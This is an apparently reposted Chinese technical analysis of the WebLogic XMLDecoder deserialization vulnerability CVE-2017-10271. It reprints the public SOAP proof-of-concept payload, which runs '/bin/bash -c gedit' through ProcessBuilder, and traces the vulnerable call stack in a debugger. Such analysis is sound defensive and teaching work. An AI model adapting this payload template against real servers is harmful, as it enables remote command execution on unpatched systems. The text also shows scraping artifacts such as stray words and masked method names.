WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

12月22號,綠盟科技博客發佈一篇文章,裏面有說起到weblogic因爲存在0day漏洞,致使被植入惡意軟件用來挖掘比特幣。後來通過確認,此次***者所用的漏洞CVE編號爲CVE-2017-10271,那麼這個漏洞到底是怎樣形成的?java

0. 分析環境

  • IDE:Intellij IDEA
  • 中間件版本: weblogic 10.3.6【未進行任何補丁修復】
  • 發包工具: brupsuite

1. 漏洞成因

咱們先來看一下,網上公佈的poc進行利用後的weblogic返回的響應,公佈的利用poc以下:web

<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>gedit</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

以下圖所示,能夠看到返回的是xml數據,並且能夠清晰的看到調用棧,調用棧在<ns2:frame />標籤中
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析bash

仔細分析weblogic返回的響應,咱們能夠大概定位到問題點,咱們重點關注<ns2:frame />標籤中class以weblogic開頭的部分,這部分就是weblogic處理咱們請求的調用棧邏輯,weblogic處理完後就到了XMLDecoder
Step 1. 瞭解處理流程(爲了方便查看,調用棧順序爲從上倒下)ide

  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->proce***equest
  • weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
  • weblogic.workarea.WorkContextMapImpl->receiveRequest
  • weblogic.workarea.WorkContextLocalMap->receiveRequest
  • weblogic.workarea.spi.WorkContextEntryImpl->readEntry
  • weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF

Step 2.下斷點調試
咱們將斷點設置在weblogic.wsee.jaxws.workcontext.WorkContextServerTube的proce***equest方法中readHeaderOld,以下圖所示
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析函數

Step 3.調試運行,跟蹤工具

  1. proce***equest中,var1爲咱們POST的xml數據,類型爲Packet;
    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

var3的值有是var2調用get方法後得來的,咱們查看一下WorkAreaConstants.WORK_AREA_HEADER的內容,以下圖所示
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析ui

對比Poc內容與WorkAreaContants裏面的XML_TAG、WORK_AREA_HEADER,咱們不難聯想到var2.get方法是用來獲取work:WorkContext標籤之間的內容。編碼

2.readHeaderOld中,咱們直接設置斷點到weblogic調用棧最後一個函數WorkContextXmlInputAdapter,查看調用函數的參數值是什麼?
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析
能夠看到,var4其實對應的是java標籤內的代碼
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析.net

3.WorkContextXmlInputAdapter中,沒有任何過濾就直接調用XMLDecoder方法,而XMLDecoder自己是用於將XML文件反序列成java的對象,於是形成的漏洞的發生。
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析3d

歸根結底,仍是weblogic犯了編碼上的錯誤,徹底信任用戶的輸入,而後調用XMLDecoder進行反序列,致使了這個漏洞的發生。

參考連接

近期大量WebLogic主機感染挖礦病毒
Weblogic WLS組件漏洞技術分析與防禦方案

Weblogic XMLDecoder RCE分析

相關文章
相關標籤/搜索